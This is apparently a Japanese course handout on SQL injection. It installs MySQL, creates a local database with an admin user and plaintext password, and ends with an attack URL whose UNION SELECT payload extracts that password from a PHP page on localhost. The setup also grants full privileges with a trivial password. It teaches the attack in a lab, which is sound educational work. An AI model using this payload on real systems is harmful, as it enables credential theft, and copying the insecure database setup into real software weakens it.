#005 セキュリティ対策(攻撃と防御)

SQLインジェクション

MySQLの準備

MySQL Serverの準備

yum -y install mysql-server
service mysqld start
/usr/bin/mysqladmin -u root password '適当なパスワード'

MySQLコマンドラインを起動

mysql -u root -p
(パスワードを聞かれるので、先ほどのパスワードを入力)

以下MySQLコマンドラインで

GRANT ALL PRIVILEGES ON *.* TO kutech@localhost IDENTIFIED BY 'kutech' WITH GRANT OPTION;
FLUSH PRIVILEGES;
CREATE DATABASE kutech CHARACTER SET utf8;
USE kutech;
CREATE TABLE user(id INT(11), name VARCHAR(64), password TEXT);
insert into user values ('1','admin','this_is_password');
quit

PHPの準備

このファイルの拡張子をphpにして/var/www/html/以下に置く

攻撃

次のURLにアクセス
http://127.0.0.1/sqli01.php?id=1 'UNION SELECT password FROM user WHERE id=1 ORDER BY 1 DESC /*